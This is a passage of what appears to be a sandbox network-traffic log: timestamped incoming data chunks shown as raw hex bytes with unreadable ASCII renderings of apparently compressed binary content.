fb 71 78 4f c3 3e 1b f8 67 62 2c ed b4 bd 17 57 d4 35 41 b5 a3 83 6b Data Ascii: ]x_}}w=^E+.f3_<U2Or@'bIpD:]}A\|3F[Y/T@0-tGmm{m4[u_&5nIoedB)->1YP,)-$<3s$zT\T}qxO>gb,W5Ak
2022-07-20 07:08:31 UTC	7900	IN	Data Raw: 63 95 57 cb 56 56 f9 d9 7f e0 23 8a db bc 7b 2b c5 b6 95 16 36 96 55 dd 15 cc 9b 77 37 af cd 8d b9 fa d4 56 16 1a 7e a0 aa 90 5e 7c f2 37 98 b1 af ca dc 7a a9 1f 8d 55 bb d1 e3 79 9a de 46 55 96 26 dd 13 2c 66 06 6f ae df 95 ab 74 de c8 4b 62 77 5b 9b 08 57 64 13 dc cb b7 6a fc a1 bf f4 03 8a cf 68 6f ee 97 37 ae b1 45 bb 77 90 ca 37 6d f5 ef fe 7b d6 8d 9e 97 75 6f 1b 19 e7 55 4f bd b5 5b fa 63 fa d2 5c 25 ee d5 92 d2 7b 9d bc 6e f2 71 df d9 8f 1f 95 0e c2 20 48 e2 58 ff 00 77 6d e6 ba fd df 31 76 ee 5f c7 3f ca ae 79 86 e2 36 0f 14 0c cc a3 76 e6 dd bb eb f4 ac 7b 8b 5b b6 6c cb 2a c4 cd fc 37 33 ee 6f e7 d2 87 d3 ee 2d e3 50 75 3b 68 11 bf 86 35 fb df 97 34 ae d7 42 0b 57 4d a8 aa c5 e5 df 41 67 14 9f 2b 47 1a ed db fe 35 5a 4d 12 06 93 26 fb ed 2d 27 Data Ascii: cWVV#{+6Uw7V~^\|7zUyFU&,fotKbw[Wdjho7Ew7m{uoUO[c\%{nq HXwm1v_?y6v{[l*73o-Pu;h54BWMAg+G5ZM&-'
2022-07-20 07:08:31 UTC	7916	IN	Data Raw: c7 e4 34 e5 1b b8 63 ce 5b a8 c9 fe b5 d1 6a 9a 2d a4 96 6b 65 1d f4 16 32 c0 a1 6d a7 b4 b9 76 56 66 f9 8e f7 38 f9 ca f4 e9 8e 9d aa 39 52 34 52 72 4e e7 a0 69 be 20 d2 17 47 5d 00 f9 f7 2b bb 6d dc 10 5b 16 4b 87 7f ba a0 ae 1b 8c 1f c0 1c d5 4d 6b c3 7e 07 d6 b5 45 b0 8e 09 ec ef 63 6f 2b 6d a2 bc 1b b1 9c ed de 36 bb 0c 7e 22 bc ab 5c 5b 8d 3f 54 96 dc 6a 7e 53 79 02 ee 3f 22 e4 6d 64 00 82 72 a1 7e 6f bd bb 70 dd 55 2d 7c 17 79 aa 68 f7 da a3 dc da 36 9b 6b 96 91 af a7 2e d1 f0 37 10 aa db 98 e3 6f ca be d5 5c 8b 7b 8b da 73 7b ae 37 24 be f8 2f e2 54 b8 bc cc bb 95 63 76 5f 2d 83 2c 8b d0 60 ee 1d 57 9e 47 b5 58 f0 9f c2 8b db 0d 42 7b 7b bd 43 c8 75 c3 2c 90 5b 09 57 9e 14 b0 cf df 1d 46 41 00 f7 af 49 b6 f1 d7 84 b5 5d 1e c6 dd ef b5 2d 22 ea d7 Data Ascii: 4c[j-ke2mvVf89R4RrNi G]+m[KMk~Eco+m6~"\[?Tj~Sy?"mdr~opU-\|yh6k.7o\{s{7$/Tcv_-,`WGXB{{Cu,[WFAI]-"
2022-07-20 07:08:31 UTC	7924	IN	Data Raw: ea ad 6e be 5c 51 f9 ec db 55 95 8e c6 51 fd e2 9c 2f fc 08 56 17 46 be f7 56 6a dd 5f 5b e9 51 bb e9 9f 6b d8 cc 8d 24 77 6b 1a cb b7 60 dd c6 4f cd f7 b1 8e 76 f5 cd 77 d3 69 77 7a 6f 83 5f 50 bc d4 d9 6e 2c f3 3c 96 2d 00 6b 96 66 2a 17 e7 93 63 b2 11 f3 6e cb 03 c9 03 03 35 e5 97 9a 6f 8d 2e 74 78 2d ef 7c bd 4e c2 ce 5f 32 da 19 ee 43 35 a9 1f 31 f2 df 01 93 8e bf 36 3f 2a 77 97 e2 34 9a 71 67 e1 e5 89 64 6d cb 1a dc ef 76 73 fc 5d 41 fd 7e 99 ab 4e fa 13 cb 15 b1 e8 5a 7f 88 ac 35 a6 d3 20 4d 32 3b 19 65 8f f7 93 c9 3e d4 93 01 86 39 da bc af fb 5c fb 9e 2a 7b 6f 06 4b ab 79 13 db 5b 7d 8d 64 69 24 8a 3b 9d 46 0b 5d d0 81 9d c5 66 6d db 71 9c 64 8f e2 ae 3b 4f d4 af f5 bb 75 9e fd 74 f5 96 06 3b a7 92 79 91 b7 9f e2 ea cc ec 3f e0 23 a0 af 4a 4f 01 Data Ascii: n\QUQ/VFVj_[Qk$wk`Ovwiwzo_Pn,<-kfcn5o.tx-\|N_2C516?w4qgdmvs]A~NZ5 M2;e>9\*{oKy[}di$;F]fmqd;Out;y?#JO
2022-07-20 07:08:31 UTC	7940	IN	Data Raw: c8 c7 f8 41 0b ef ef 59 c9 35 cd c7 9a 2e 3c b6 8a 35 fd db 34 89 f7 79 c1 20 f6 f5 03 38 fc 6a 0b 09 03 47 73 72 62 f3 65 b6 50 db a0 5f f5 88 4e 3d 73 c1 3f 74 0f 7a 5c a9 95 cc fa 17 e1 b1 93 5c be df 07 95 05 d4 92 79 6d 1a c7 e5 40 b2 10 4e 38 e9 9f 6a d2 ba 5b dd 12 cd 60 d4 6c 66 6d 31 67 32 c8 d0 41 1f ef 1d 78 65 69 02 96 da 3b 06 38 f6 ac 86 bf 37 97 9e 40 8b c8 b8 97 32 c7 b5 44 4b 1b a8 cf b0 56 1f dd c6 73 c0 eb 56 1a ff 00 51 d6 2f 22 3a 64 b3 ad d4 52 19 15 60 62 cf b1 47 3b 81 c0 7c 28 dc 4f a7 7a 4f 61 c6 5c bd 0d ff 00 10 fc 42 d1 fc 69 ae 69 f7 97 76 d1 e9 96 11 44 22 9f 49 d2 6d 36 a3 2a a6 73 90 57 3b db 00 e4 92 a3 b9 e9 4e 86 3f 0b ea d2 5f 41 a5 de 2e 9b a4 47 69 3c ab 1f 88 30 9e 98 58 b6 16 dd 21 c9 c3 60 11 d6 b8 88 75 0d 46 c1 Data Ascii: AY5.<54y 8jGsrbeP_N=s?tz\\ym@N8j[`lfm1g2Axei;87@2DKVsVQ/":dR`bG;\|(OzOa\BiivD"Im6*sW;N?_A.Gi<0X!`uF
2022-07-20 07:08:31 UTC	7956	IN	Data Raw: af 67 e3 21 ae 2f 11 7d 9a e2 45 db 2c 1c 34 52 7f b4 33 9c 31 ee 3a 7a 62 99 32 59 fd a2 79 20 96 ef c8 93 7c 8c b0 4c 19 56 32 bd 1b 00 65 73 d7 80 2b 03 4d 87 4b 86 ea 06 d6 6d ae 56 cd 59 da 5b 9d 35 bf 7a bd c1 f9 95 b3 cf 18 c0 1e f5 56 be ac 51 6d 3b 5c f4 34 b1 b0 ba 9a 24 4b 3b 49 6d 65 91 21 96 ee ee d8 cb e4 a7 70 77 27 0d f4 15 a5 a2 f8 49 de e2 7b cd 2f 5c bb d2 2d d6 13 e5 ab 5c a4 f1 4c 80 ed e6 09 79 e9 c9 f9 b8 f4 ac 3b 3d 7b 47 5f b4 9b 05 5f b1 d8 c7 1b 34 97 77 3b a7 b8 46 ca ee 4c 00 06 73 82 a0 71 ef 5d 4e 95 35 a5 cf 95 aa e9 76 ad b9 58 af cb 7b 1b 3c 6c dc f9 6d 13 00 bb 7e 56 23 e5 ac a4 ba 9d 94 e5 77 a9 1d 9f c3 f9 35 dd 7b 53 8a f3 53 8e fa f6 3c f9 f3 b2 85 55 45 e4 9e 09 07 b6 31 fa 57 7b e0 53 6f a5 b4 16 70 5e 48 da 94 8c Data Ascii: g!/}E,4R31:zb2Yy \|LV2es+MKmVY[5zVQm;\4$K;Ime!pw'I{/\-\Ly;={G__4w;FLsq]N5vX{<lm~V#w5{SS<UE1W{Sop^H
2022-07-20 07:08:31 UTC	7964	IN	Data Raw: 21 b8 54 d4 56 e6 f1 51 0b 41 a9 6d 86 d7 ce 62 76 b6 08 da d3 65 7b 92 a4 26 4e d3 b7 75 47 2b 4e cc df da c6 4a f1 36 75 6f 16 78 4b 44 59 6d f4 cf 09 d8 de 4f 26 25 69 f5 0b 94 9d be 6e cc c9 b9 96 4e b9 e4 63 8f 5a 8f c4 fe 2e f0 87 87 b4 58 2c e3 d1 74 6d 55 63 94 cb 05 b6 83 7f 22 db 6e 71 cf 98 ac 04 80 7f b2 09 5c f6 e4 57 99 6b 53 0b 05 8a d2 df 53 82 f2 df cc 32 79 8c ae af ce d1 f3 0e 5b 6f cb f2 9c 60 fb e3 35 d0 db f8 cb c3 10 cd 73 77 ac 78 4f ed d7 37 51 7e ee 48 ef 5d 62 8e 42 80 16 65 da 0e ec ee 6e 08 1f 36 38 aa e5 5a 19 fb 5b dd 5d 23 a6 b8 f8 fd a1 ad ba 47 ff 00 08 3c 70 24 9f 2e e6 b9 3b 17 d7 18 50 78 f6 3f 95 74 2d a0 9f 88 9e 1f 69 7c 37 a6 2b 41 73 37 da db fb 42 42 c9 33 72 ad 8d ca ae 83 e5 0b ba 37 f5 f4 af 28 d1 74 49 fc 5d Data Ascii: !TVQAmbve{&NuG+NJ6uoxKDYmO&%inNcZ.X,tmUc"nq\WkSS2y[o`5swxO7Q~H]bBen68Z[]#G<p$.;Px?t-i\|7+As7BB3r7(tI]
2022-07-20 07:08:31 UTC	7980	IN	Data Raw: 4a d0 2e 57 6c 67 cb 81 36 ed 5f 98 b3 7e b9 ae 9e da c3 ec d1 a8 dd b7 fd df 9a ac 58 ab 5c f9 52 7e ed a2 68 c4 89 3c 6c 19 64 07 90 46 2a c4 89 bb a7 fb bf dd ac 4e bb 22 35 84 ac 6d 99 37 56 65 d5 8c ec db e2 97 ef 7f b5 b7 6d 3e e3 cf 85 7f 76 df 35 53 b8 b7 b8 85 b2 77 4a ea df 37 cd bb fc 9a 09 65 6f ec 9b c7 b8 88 9b c6 95 15 bf d5 af f5 ef 52 a6 8b 2d ba b3 88 b7 3b 7c db 99 47 cd f9 7a 56 9d ab 16 6f 35 3f 87 1f fd 7a b9 73 7c 23 85 7c d6 da b4 0a c8 a6 be 52 c7 e6 4b 12 c0 ed f2 b3 7f 7a 9d 33 6f 5e 1b 72 ff 00 bd 53 bc 22 ea 15 22 55 65 6f ba bf 7b f3 aa 17 16 a7 4b 91 64 32 ee fe 15 8d 7e 66 6a 09 92 68 b1 b8 34 6a 0b 2f f7 6a ad c5 c0 59 bc b1 f7 7e eb 56 a5 b4 30 5f 2a 97 f9 5d bf e5 9f de fe 54 b7 1a 54 16 cd 97 f9 b7 2f dd dc 7f fd 54 5c Data Ascii: J.Wlg6_~X\R~h<ldFN"5m7Vem>v5SwJ7eoR-;\|GzVo5?zs\|#\|RKz3o^rS""Ueo{Kd2~fjh4j/jY~V0_]TT/T\
2022-07-20 07:08:31 UTC	7996	IN	Data Raw: ff 00 5a cb d5 34 98 16 4f 30 46 cc b1 30 da bf 76 b4 52 df c9 db 21 8b cd a9 9a e0 79 6a 0e d5 65 5f 97 72 d2 27 7d ce 3f 55 8e 4b 8b 89 c1 89 a5 59 7e 5d db 77 37 f5 c5 43 a2 69 b7 10 ea 50 46 9f 2c 4a df 77 fb d5 d7 bc 66 66 69 cb 2e f5 5f 2d 95 7e eb 52 5a da a3 da b3 ed 64 75 6d ad fe ef b5 69 cd 64 67 cb 77 72 14 b3 82 49 25 44 5d de 5b 7f 17 cb 56 9b 4f 2e aa 65 dc c9 fc 2b ba a5 4b 5f b3 cc df 2b 2f f7 bf da a9 77 0d cb fc 4b ff 00 8f 54 5f b1 a1 4a 5b 04 6d c4 ed 56 66 fe 1f e1 aa ca c8 8a e0 fc ce bf c3 5a 2c c3 73 23 af dd fe f7 cb fa d4 0d e5 aa b1 0a aa ad f7 b7 50 84 67 bd 99 b9 f9 1e 55 89 1b e6 6f f0 aa 6f a2 bc df 24 71 7d df f9 68 df 75 57 eb 5a 8b 3e ef f5 5b 7f e0 34 92 43 77 e6 4a 4c ff 00 37 dd 65 ff 00 3c 55 19 d9 19 da a4 29 25 8f Data Ascii: Z4O0F0vR!yje_r'}?UKY~]w7CiPF,Jwffi._-~RZdumidgwrI%D][VO.e+K_+/wKT_J[mVfZ,s#PgUoo$q}huWZ>[4CwJL7e<U)%
2022-07-20 07:08:31 UTC	8004	IN	Data Raw: 97 e5 91 55 b7 7c d5 c1 ea 9a 86 9b a3 d9 ca fa c2 c7 3b c6 db a0 b4 b6 62 d2 fd 76 86 3c 0e a5 8d 79 d4 7e 28 bc f1 3a c1 25 be a7 25 8c 51 c9 fb c8 24 6d d1 33 36 58 60 a8 cf 35 71 a7 cd a1 9c eb 28 7a 9f 46 c6 90 5e 6e 92 09 57 67 f8 fd 2a 2b ab 1b 85 85 5e dd 15 a7 fe 2f e1 5f fe bf a5 79 b6 87 aa ea 76 b7 4d 1c ac d6 de 5b 7c cd 27 f7 bf 0e de f5 d5 5b ea fa a2 b2 c8 8d e6 af f7 b7 6d f9 be 98 a8 e4 68 b8 d4 52 57 68 e9 df ed 0a ad 98 36 b2 fc d1 c8 ab bb e6 23 9a cf 4b e9 23 bc 96 39 1f fd d9 37 7d ec fb 56 82 6a 09 73 0a ef dd bb ee c8 ca df 77 fa d6 7d c6 8a 9e 67 9b 16 ed cb f3 6e a8 5e 66 b2 7d 8d 33 f2 2e ff 00 95 b7 2e ef 96 a4 b6 63 d7 7d 50 8f cd b7 f9 93 ee ff 00 cf 3f f0 a9 ed f7 dc 46 a6 3f bc bf 7a 81 27 a9 66 e2 da 2b c8 d8 c9 ff 00 7d Data Ascii: U\|;bv<y~(:%%Q$m36X`5q(zF^nWg*+^/_yvM[\|'[mhRWh6#K#97}Vjsw}gn^f}3..c}P?F?z'f+}
2022-07-20 07:08:31 UTC	8020	IN	Data Raw: ef 9b fb ac bb 5b f2 a1 ab 09 49 3d 8d 64 bc f9 73 bb 7f cd fc 35 79 54 f6 fe 2a cd 8e 48 d9 54 fc bb bf 8a b4 1a fc ed c8 db f2 ad 23 45 6e a3 d5 4c 92 32 7f 77 ef 53 e3 74 45 67 76 aa 31 dd 79 db b2 df 7a 85 93 cb 5c 7f 7a 81 dc b9 22 41 70 ab 95 6f bb b7 ef 6d a8 96 c5 ad a4 cc 73 b6 df ee b7 cc b4 47 22 37 1b aa c2 dc 2a ae 5f ee d2 0d 0a eb 6c 17 69 2d b9 d7 f8 9b fb b4 ff 00 b0 c7 f3 61 77 2b 7f 0d 2b 4c 8c ad f7 95 6a 75 98 2c 38 45 f9 bf bc d4 15 64 46 f6 df 2e 0a ae df ee d6 42 df c3 6b 71 2a 22 c7 e5 2b 6e dc ad f7 7e b5 72 6d 4b 72 fc ff 00 75 7e 5f 96 ab 7d be df cb 69 07 cd 3b 30 f9 7f bd cd 32 5d 89 6f 12 4b cf 2b e6 da aa c5 95 95 7f 4f a5 4a 90 dd aa aa 24 bb 97 fd df 9a a6 5f 91 b1 f2 ab 7f 77 fb d4 ad 27 73 f2 ad 03 2b 5a a3 fd ab 13 ca Data Ascii: [I=ds5yTHT#EnL2wStEgv1yz\z"ApomsG"7_li-aw++Lju,8EdF.Bkq*"+n~rmKru~_}i;02]oK+OJ$_w's+Z
2022-07-20 07:08:31 UTC	8036	IN	Data Raw: 7f 85 be 55 6c 67 15 d8 68 96 e2 ea d6 54 76 f3 62 93 1b a3 8f ef 6d ed cd 63 df c3 6d 1c 6b 8b 35 fb 6f 97 f3 32 ae df 97 a7 38 e0 fd 6a 6f 0d b4 b6 f7 91 3b ff 00 a8 da 19 5b f1 c7 e7 58 3d 55 ce 98 ae 57 63 b3 b5 d2 d1 6d fc a9 55 65 89 be 56 fc 2a 74 b1 8a df 71 83 e5 fe f2 b7 cd 4d 67 dc ac fb 99 62 6c 36 ea ab 6d 7a 8f 36 e7 f3 17 e6 da ab f3 6d 6f c6 b2 36 35 38 87 68 fe f5 57 f2 52 68 65 0e bb a2 6f bd 52 24 c2 65 57 1f 77 f8 69 db 37 46 d8 5e 1a 90 ce 5b 54 b7 81 63 58 a4 b6 f3 e3 92 4d bb 76 86 e9 df fc 6b 86 d6 bc 07 e0 f7 5b 97 82 0b 6f b6 f3 24 9b a7 2c cc f8 c1 c9 e4 e7 15 d9 78 a9 2f 74 b8 e7 96 d2 da e6 76 65 dd fb 86 1f 78 0e c0 f7 f6 1d 6b c5 13 50 bd d5 35 cf b4 5e f9 96 73 ac 7e 64 93 fd ad 11 a1 5c 70 4a fa 9e dc 8c 7c d9 f4 ad 22 ba Data Ascii: UlghTvbmcmk5o28jo;[X=UWcmUeV*tqMgbl6mz6mo658hWRheoR$eWwi7F^[TcXMvk[o$,x/tvexkP5^s~d\pJ\|"
2022-07-20 07:08:31 UTC	8043	IN	Data Raw: ad f7 bf cf a5 21 d8 af f6 7d bb be 7d d5 43 54 d2 8c 96 ac c1 bc a7 5f fc 79 6b 59 76 7f 1b 7c b5 46 48 c5 cc cd 96 6d b4 0a d7 2b e9 77 50 43 0a c6 fb b7 2f dd db fc 55 af 24 c5 ad d4 85 6f ef 6d 6f ee fb d6 7d 9e 8e 96 cc bf 79 9a 4a d0 59 a4 8f 72 86 f9 97 fb cb f7 a9 94 b4 28 bc c1 e4 c7 f0 c8 bf 2b 32 ef da df 8d 25 c5 9a 4b 35 b4 71 ac 8b 2b 45 fb c8 19 be 5d a3 be 6a fc 36 f2 26 e9 22 65 5d df 75 59 7e 55 ac f4 ba b8 4b 86 92 55 6d 8b f7 9b 6d 21 6d b9 42 66 db 32 c8 1b ee fc cc ac bf e4 55 88 1d 2e 15 63 8f 6b 3a ff 00 12 fc bd 4f 71 de a7 85 60 bf 99 80 89 77 b7 cc bb be 5f e5 d2 a8 5d 5c 4b 6b 22 9d 3e cd 56 76 f9 5b 77 cc aa c2 9a 16 da 97 2e ac 22 75 96 07 9d 95 bc bf 99 76 ee f9 ab 37 fb 26 dd 24 d8 1d 92 2f e2 dc df ae 6a f4 2b 70 bc dc b7 Data Ascii: !}}CT_ykYv\|FHm+wPC/U$omo}yJYr(+2%K5q+E]j6&"e]uY~UKUmm!mBf2U.ck:Oq`w_]\Kk">Vv[w."uv7&$/j+p
2022-07-20 07:08:31 UTC	8059	IN	Data Raw: f2 37 f0 ff 00 2a 09 b5 ce 2b 4b b0 bd f3 1a 0d cc d0 2f f1 57 67 a7 a6 fd b1 05 da bf de db f2 ad 47 6d 34 73 4d 04 b0 37 ee 97 3e 6f fb 4d ed 57 92 e2 0b 96 60 25 55 db fc 34 e4 ee 28 c5 22 64 40 ac a0 fd df e2 65 a9 1b e5 fe 2d ab 54 e4 6f 26 e1 93 cd db fe cd 2a 33 c8 ab bf 72 c5 fc 3f c5 bb de a4 d7 43 40 6c 55 c8 f9 9a a8 5c 3e c5 c9 55 65 a9 d2 f3 e6 68 d3 e6 ac fb 98 e7 f9 88 8b 77 f0 ff 00 bb 9e f4 0d ec 13 5f c5 6e bc 37 fb d5 1f f6 a2 37 4f bc bf 35 61 5c ac 8b 7d b1 15 65 59 18 ed f9 be ee 3d 7d bf 1a 8e ff 00 4b bd ba 8d 64 17 90 41 14 6b b6 4e bb a4 6e e3 a7 4e d5 56 5d 4c 6e cd 66 d6 a4 b9 92 50 9b 5b cb f9 bf e0 35 9a d7 8f 26 e7 9f e5 db fd ea a1 a4 cd 6d 67 32 a2 3b 33 fd df 32 4c 7c de c3 bd 68 dd 6c 9b 69 4f 95 76 95 6f e2 6d bf fd 7a Data Ascii: 7+K/WgGm4sM7>oMW`%U4("d@e-To&3r?C@lU\>Uehw_n77O5a\}eY=}KdAkNnNV]LnfP[5&mg2;32L\|hliOvomz
2022-07-20 07:08:31 UTC	8075	IN	Data Raw: aa ae cc 08 c4 e0 9f 2d 88 66 e8 c5 73 c5 60 7e d0 3a 4b ea 9a c7 db 52 29 15 d7 ec f1 cb 04 7f 3a c6 92 0f f5 9b 07 cd cc 9f 28 ed 95 c7 5c 67 cd 6d 7c 3b ab e9 3f 61 d6 05 8d dc 16 ab 27 99 15 ca c6 53 cc 0a 7e 62 a7 d8 8c 1f ee f7 aa 56 6b 73 39 73 27 a2 d0 f5 0d 17 c1 f7 f7 de 38 b3 d6 f5 a8 27 5b 38 af 47 9f 06 a1 39 57 f9 79 e4 2f 61 d4 9e 47 7a f6 0b 0f 19 e9 5f 11 fc 3b e2 3b 6d 32 06 96 e2 25 31 ac 0d 20 dd 23 76 28 4f 1c 8c e3 38 ae 27 c4 5e 28 b3 d2 74 5b 6d 40 f9 ff 00 65 da 1b 6b 4f b1 bc b7 40 b8 8f 3c 31 0d d5 73 d3 3d ab ce e0 f1 26 8d 24 d6 d3 e8 d3 df 69 5a ac 52 87 95 99 52 28 24 da 78 78 ca 33 61 f1 c1 e0 29 0b ef 8a 5f 15 86 9f 29 ea 96 ef 73 1c d6 c0 b5 ce 91 1c 71 ed 9e d1 5b 67 41 86 c8 ee 73 f9 8e f5 d4 23 44 d0 e2 0d d1 5c 45 27 Data Ascii: -fs`~:KR):(\gm\|;?a'S~bVks9s'8'[8G9Wy/aGz_;;m2%1 #v(O8'^(t[m@ekO@<1s=&$iZRR($xx3a)_)sq[gAs#D\E'
2022-07-20 07:08:31 UTC	8083	IN	Data Raw: 51 e5 d8 fa 96 df fb 52 de 16 78 a2 dc ac db 77 2b 6e eb 5b f1 ad ea 5a a8 91 bc a9 76 8d df 2d 33 4a 9a 59 2d 70 65 dc a8 bb 69 24 bf 79 15 f7 ee da ab fc 5f 35 43 29 68 89 61 d4 07 97 8f 37 73 af de a8 66 b8 0a cc 13 72 b7 de 6e bb bf 2a cc 45 49 21 94 c1 b7 7a b6 ed df c3 50 59 cd 3a dd 4a 5f e6 b8 8f 77 cb bb d2 8b 0a e2 26 a6 bf 68 6c 4a ac ff 00 dd dd b6 ad a7 89 3e 6d 9f 79 bf bb f7 6b 91 d6 b4 f7 bc 66 94 b6 eb d9 a4 0a ca bb 9b cb 5f 63 fc 44 d6 12 e8 f7 37 ca de 6c f2 45 2e e1 f3 2b 7a 7a d6 96 4c c5 c9 a3 a0 d7 bc 7f 1d b5 e3 45 24 bb 57 69 f9 a3 f9 fe 60 38 1c 7a 9e f5 5a cf 5b d4 f5 a8 d7 cd 81 56 2f 34 ee 92 46 f9 b1 8e e0 8f f2 69 d7 9e 1d d3 ee 37 4b b5 9a 56 60 cc d2 7f 7f bf 35 7f 4f b1 33 6e 80 2f 95 17 1b 77 7f 17 e3 42 b5 85 ab 24 b3 Data Ascii: QRxw+n[Zv-3JY-pei$y_5C)ha7sfrn*EI!zPY:J_w&hlJ>mykf_cD7lE.+zzLE$Wi`8zZ[V/4Fi7KV`5O3n/wB$
2022-07-20 07:08:31 UTC	8099	IN	Data Raw: f1 0d ee 9b 27 99 f6 e8 14 40 d0 a9 4e 09 08 76 b0 db e9 f7 ab b2 38 99 d3 57 96 a7 24 b0 94 ea 3e 54 8f 53 f0 ff 00 8b 34 cf 18 78 57 7d 83 34 11 5d 49 e6 6d 56 d9 f2 67 e5 5d a3 39 02 b7 2c 74 db 9b 3b 3b eb 9b 7d db ad a4 db 2e d6 fb db b8 e8 a7 07 1f de 1f 8f 6a f2 8d 3f 43 bf d1 ed 71 03 41 12 2e 7c a5 82 3d ad 1a 7a 70 47 71 5d cf 86 fc 5b 36 b1 a6 fd 9e ca 79 e2 d5 20 63 25 ca ce a1 76 a7 1c c6 bc 8e df 37 e1 5d 74 71 51 aa f9 76 67 06 23 07 2a 3e f2 d5 1a 90 ea b7 3a 6f fa 14 f1 4f 73 3c 0b ba 59 15 be 78 54 f0 57 d3 fa fd 0d 43 fd 97 61 e2 2d 0d 47 f6 83 45 a8 da c8 f2 c7 22 e5 25 df 8e 8d f8 a8 e9 cf bd 2c 9e 24 b7 b8 58 a1 d3 ec e3 9e 55 67 79 15 b2 cd 23 11 f3 1d c7 ef 1e ac 33 d2 b4 f4 a9 63 9b ca b8 b0 b6 58 ae 22 f9 96 e6 76 4d 9b 00 da d9 Data Ascii: '@Nv8W$>TS4xW}4]ImVg]9,t;;}.j?CqA.\|=zpGq][6y c%v7]tqQvg#*>:oOs<YxTWCa-GE"%,$XUgy#3cX"vM
2022-07-20 07:08:31 UTC	8115	IN	Data Raw: 5d 5c c7 15 bc 92 a4 97 3e 5b 6c 95 54 fd f0 ac 7e 5c 85 e4 72 2b 58 ed 73 9e 6a d2 3b 0f 0c 6b 50 36 96 b0 5b 6a 77 bf 6a 58 9d ae 55 57 cd 5b 77 24 a2 8e 00 0b f3 6d 1b b3 86 de 31 8e 95 e9 be 05 f1 93 7d a3 cd 68 24 68 2e 5b cb f2 f6 85 6d df de e3 af b8 af 9c af 2e 49 bc 9e 5f bb e6 b0 dd bb ef 49 e8 c7 8c 6e 3f ce bb 1f 08 f8 de 5f 0d ed f3 2d be d9 6c d2 ed 91 6e 7e 5f 2f 23 82 ae a4 7c d9 c9 e9 8c 50 e3 72 a3 33 e9 6b fd 27 46 d6 96 2d 46 e2 0d cd 1f cc ac df 75 5b b7 d0 fd 2b e6 9f da 83 c2 36 1e 24 f0 0f da 47 fa 4c 1f 6b 85 a5 68 3e 65 54 19 45 cf 39 e3 3b 77 0e 95 f4 25 be b1 05 f6 8e a6 76 59 e0 be c2 ac 0d 19 f9 b2 03 0e 45 79 af 8b b4 1d 7f 44 b8 bc b8 b0 d2 97 5e d1 b5 0c ad dd a7 db 7c a9 63 53 f3 02 15 94 af 18 e3 1e ac 79 cd 60 f4 dc eb Data Ascii: ]\>[lT~\r+Xsj;kP6[jwjXUW[w$m1}h$h.[m.I_In?_-ln~_/#\|Pr3k'F-Fu[+6$GLkh>eTE9;w%vYEyD^\|cSy`
2022-07-20 07:08:31 UTC	8123	IN	Data Raw: 2c 3a 93 80 3f 0a f2 eb 8d 0e 04 d2 57 57 16 d6 8d 67 2c a6 25 fb 34 8f bb a0 27 2a 47 ca 3a 75 fa 0a bf a4 f8 d3 51 d2 ad e5 d5 ae 67 b6 d3 ee 95 91 60 82 38 d9 1a e1 49 cb 2b 28 ea 80 7f 17 63 f5 ab 36 da 6e 9f ae 5a eb 97 9a 36 a7 63 02 5e 29 91 b4 bd 49 84 4d 0a fd e7 da 79 1c 7f 09 e3 8a d2 cd 1c ed a9 7a 9c 7d e6 ad 6f 24 91 38 f9 a2 58 c4 72 2c 90 47 f2 a8 01 47 6e 7a 0a d2 d3 7c 3d 61 7d 79 14 62 5f 22 06 89 15 57 70 74 dc 07 25 81 c0 e7 d6 b1 e4 d2 a4 d3 a4 9e da e5 76 dd 2a 89 1a 36 5d ad b4 f4 1f 97 35 9e b7 32 69 3e 7d cf d9 9a 55 56 11 47 22 ce 53 cb 90 e4 f6 fb dc 03 db 15 76 33 4d f3 6a 7a e7 87 f4 bf 33 4b 6b 44 66 b6 46 8d 62 69 20 93 66 e7 cf cb 20 1d 01 1f de e2 b4 b4 af 1c 5e f8 7b 5a 8b 4c f1 0c f1 b5 94 92 18 53 52 83 e6 65 cf 20 30 Data Ascii: ,:?WWg,%4'G:uQg`8I+(c6nZ6c^)IMyz}o$8Xr,GGnz\|=a}yb_"Wpt%v6]52i>}UVG"Sv3Mjz3KkDfFbi f ^{ZLSRe 0
2022-07-20 07:08:31 UTC	8139	IN	Data Raw: 42 79 69 3a 9f 90 ed 39 1f d2 a6 fc fb 96 d7 2b d0 d8 f0 6d bd e5 be bd ab da 49 67 04 17 5e 51 d4 23 9d 64 de d2 43 8d ca bb 7e eb 81 f2 bf 6c f3 ed 5f 53 fc 1d b6 9f 5b f0 2f 87 9d 27 8e fa 5f b3 22 b4 9c 2a f5 23 3e 9f fd 61 5f 23 f8 1f 52 b9 86 f2 79 2c e7 55 b5 fe cb 2b 72 d1 e5 9a 47 4e 92 2e 7a 01 f7 7f 4a fb 0b c0 d6 29 e1 2f 05 c4 2e d5 55 e5 8f cc b6 6e 37 2a 14 1b 17 0a 4a 8c e1 b9 04 f7 ae dc 3c 5a 6d b3 83 14 d3 8a 3d 0a fd ae 6d 6c 7c ab 6f b3 79 51 49 e7 c7 72 b2 0f 3d b6 01 95 2b fd d1 9f bc 78 3c d2 b6 ab 60 ba a5 f7 8b fe cc d1 5c 59 db 7e fe d2 d9 7e 6b 85 e1 7c cc 9f ba 07 cb 9e c3 ad 72 96 7e 22 b9 92 d7 ce b7 6d ad e5 ed 95 55 b6 22 f3 c1 18 c0 ff 00 80 d7 5d e0 66 37 77 ca 76 ac 51 34 89 1c b1 ed 1b a4 47 f9 36 e4 ff 00 01 cf 23 ff Data Ascii: Byi:9+mIg^Q#dC~l_S[/'_"#>a_#Ry,U+rGN.zJ)/.Un7J<Zm=ml\|oyQIr=+x<`\Y~~k\|r~"mU"]f7wvQ4G6#
2022-07-20 07:08:31 UTC	8155	IN	Data Raw: ea 12 47 76 55 f6 b1 38 2b 12 8c 3e ce 87 8f 94 e0 d6 ef 87 bc 21 73 63 e2 26 b8 b8 d6 ac af 34 45 61 14 b6 d7 d6 5e 7a 5c 31 4d ea ac 9b 83 6f e5 71 82 30 47 de e0 e7 88 f0 67 8c b5 bd 63 47 be d4 2f e5 8d 6f e2 91 17 ed 72 5b 23 b4 68 5c 13 8e e9 c7 24 8c 92 a3 1d 32 47 47 b7 51 f1 75 9b 4b 1c b7 31 49 1f d9 fc d6 59 3c dd ca a0 ab 11 bd b2 14 0c 74 38 ff 00 66 aa c2 ed 64 33 c4 9e 05 8b 5c ba 89 f5 5d 5e d2 e6 7b 56 8f 4d 6b 6b 65 de b1 aa 9f 2e 3c b9 ce e5 3c 61 89 3d 54 64 f4 ae 77 56 f0 3b 36 a1 fd 9d a1 6b 36 d6 2b 22 bc 51 da 34 66 25 93 9c ed 91 cf c8 dc 8d db ce 14 7b 56 97 89 ee 7c 6b 6d 6e ba 8c 11 5b 6a 3a 75 9e 62 fb 5a ac 1e 